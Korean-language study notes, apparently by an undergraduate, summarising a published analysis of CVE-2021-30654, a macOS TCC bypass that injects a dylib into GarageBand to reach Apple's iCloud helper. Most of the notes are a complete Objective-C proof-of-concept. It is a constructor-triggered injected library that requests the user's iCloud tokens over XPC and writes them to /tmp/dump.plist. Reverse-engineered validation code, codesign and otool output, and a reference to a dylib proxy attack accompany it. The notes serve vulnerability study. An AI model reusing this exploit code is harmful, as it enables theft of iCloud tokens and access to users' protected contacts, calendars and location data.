CVE-2021-30654: Bypass TCC via iCloud(garageband)

https://wojciechregula.blog/post/bypass-tcc-via-icloud/

학부생입니다. 잘못된 부분이 있다면 알려주세요. 피드백은 항시 받습니다.

2개의 code injection opportunities:

  1. iMovie
  2. GarageBand

아래에선 garageband만 설명합니다.

their com.apple.private.icloud-account.access entitlements(권한)

iCloud XPC helper

user’s iCloud tokens 취득

with these tokens, synchronized with iCloud 그리고 TCC에 의해 보호받는 데이터들 얻을 수 있음. 예) contacts, reminders, calendars, location…

TCC: 응용 프로그램이 민감한 user 데이터 접근을 거부하는 apple 시스템

iCloud XPC helper

a lot of TCC data is synchronized(동기화) with iCloud

how macOS synchronizes it 하는지 궁금해졌다고 함.

XPC helper located in /S/L/PF/A0SKit.framework/Versions/A/XPCServices/com.apple.iCloudHelper.xpc

asked via XPC(요청), respond with all the iCloud tokens(응답)

클라이언트 확인: +[A0SAgentServervalidateClientWithPid:auditToken:andIdentifier:] 메소드

[...]
rax = CFDictionaryGetValue(var_38, @"com.apple.private.icloud-account-access");
if (rax != 0x0) {
    var_38 = rax;
    rbx = CFGetTypeID(rax);
    rax = CFBooleanGetTypeID();
    rdi = var_38;
    if (rbx == rax) {
            rax = CFBooleanGetValue(rdi);
            rbx = rax;
            _AOSLog(0x4, @"XPC SERVER (%@): iCloud Account Access: %d (%p)", r13, sign_extend_64(rax), var_38);
    }
[...]

검증이 끝나고 iCloudHelper 필요: 클라이언트가 개인 com.apple.private.icloud-account-access 권한으로 서명하기 위함

#import <Foundation/Foundation.h>

void pwn() {
    char *xpc_name = "com.apple.iCloudHelper";
    xpc_connection_t connection = xpc_connection_create(xpc_name, NULL);
    if (connection == NULL) {
        NSLog(@"[+] Couldn't create connection, exiting...");
        exit(-1);
    }
    
    xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
        NSLog(@"[<] Got event %@", event);
    });
    
    xpc_connection_resume(connection);
    
    NSLog(@"Got client %@", connection);
    pid_t pidOfRemotePeer = xpc_connection_get_pid(connection);
    NSLog(@"[+] Remote peer %d", pidOfRemotePeer);
    NSLog(@"[+] My PID %d", [[NSProcessInfo processInfo] processIdentifier]);

    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
    
    // string clientUid
    NSString *uidstring = [NSString stringWithFormat:@"%d", getuid()];
    xpc_object_t clientUid = xpc_string_create([uidstring cStringUsingEncoding:NSUTF8StringEncoding]);
    
    // dict payload
    // int64 action
    // double clientTimestamp
    // string accountName
    xpc_object_t payload = xpc_dictionary_create(NULL, NULL, 0);
    xpc_object_t action = xpc_int64_create(4);
    xpc_object_t clientTimestamp = xpc_double_create(13123123);
    NSString *appleID = @(getenv("APPLE_ID"));
    xpc_object_t accountName = xpc_string_create([appleID cStringUsingEncoding:NSUTF8StringEncoding]);
    
    // string clientID
    xpc_object_t clientID = xpc_string_create("blog.wojciechregula.pwn");
    
    // mach_send_right sessionPort
    xpc_object_t sessionPort = xpc_string_create("INVALIDPORT");
    
    // string sessionID
    xpc_object_t sessionID = xpc_string_create("100006");
    
    // string clientGUIAccess
    xpc_object_t clientGUIAccess = xpc_string_create("1");
    
    // string clientKeychainAccess
    xpc_object_t clientKeychainAccess = xpc_string_create("111");
    
    xpc_dictionary_set_value(message, "clientUid", clientUid);
    xpc_dictionary_set_value(message, "payload", payload);
    xpc_dictionary_set_value(payload, "action", action);
    xpc_dictionary_set_value(payload, "clientTimestamp", clientTimestamp);
    xpc_dictionary_set_value(payload, "accountName", accountName);
    xpc_dictionary_set_value(message, "clientID", clientID);
    xpc_dictionary_set_value(message, "sessionPort", sessionPort);
    xpc_dictionary_set_value(message, "sessionID", sessionID);
    xpc_dictionary_set_value(message, "clientGUIAccess", clientGUIAccess);
    xpc_dictionary_set_value(message, "clientKeychainAccess", clientKeychainAccess);
    
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(connection, message);
    NSLog(@"reply is %@", reply);
    
    NSString *debugDescription = [NSString stringWithCString:xpc_copy_description(reply) encoding:NSUTF8StringEncoding];
    NSLog(@"[<] Debug description: %@", debugDescription);
    
    xpc_object_t result = xpc_dictionary_get_value(reply, "result");
    NSData *data = [NSData dataWithBytes:xpc_data_get_bytes_ptr(result) length:xpc_data_get_length(result)];
    [data writeToFile:@"/tmp/dump.plist" atomically:YES]; // save the tokens
    NSLog(@"[<] Result %@", data);
    
    NSDictionary *obj = (NSDictionary*) [NSKeyedUnarchiver unarchiveObjectWithData:data];
    NSLog(@"[<] DATA: %@", obj);
}

__attribute__((constructor)) static void pwn(int argc, const char **argv) {
    NSLog(@"[+] Dylib injected");
    pwn();
}

파일시스템에서 위 권한 검색

got two hits

  1. garageband code injection
    • com.apple.private.icloud-account-access
    • com.apple.private.security.clear-library-validation
$ codesign -d --entitlements - /Applications/GarageBand.app
Executable=/Applications/GarageBand.app/Contents/MacOS/GarageBand
[Dict]
    [Key] com.apple.application-identifier
    [Value]
        [String] F3LWYJ7GM7.com.apple.garageband10
    [Key] com.apple.private.security.clear-library-validation
    [Value]
        [Bool] true
    [Key] com.apple.private.icloud-account-access
    [Value]
        [Bool] true

otool을 사용하여 garageband가 프레임워크를 로드하는지 체크

내가 변경 가능하고 개러지밴드 프로세스에 코드 실행을 할 수 있는 프레임 워크

otool: ios 디버깅 도구

$ otool -L /Applications/GarageBand.app/Contents/MacOS/GarageBand
/Applications/GarageBand.app/Contents/MacOS/GarageBand:
    @rpath/MAGUI.framework/Versions/A/MAGUI (compatibility version 1.0.0, current version 5753.0.0)
    @rpath/MAMachineLearning.framework/Versions/A/MAMachineLearning (compatibility version 1.0.0, current version 5753.0.0)
    @rpath/MAMusicAnalysis.framework/Versions/A/MAMusicAnalysis (compatibility version 1.0.0, current version 5753.0.0)
    [...]

@rpath 참조 많음

rpath: runpath search path를 지칭하는 환경 변수?

dylib proxy 공격으로 토큰 get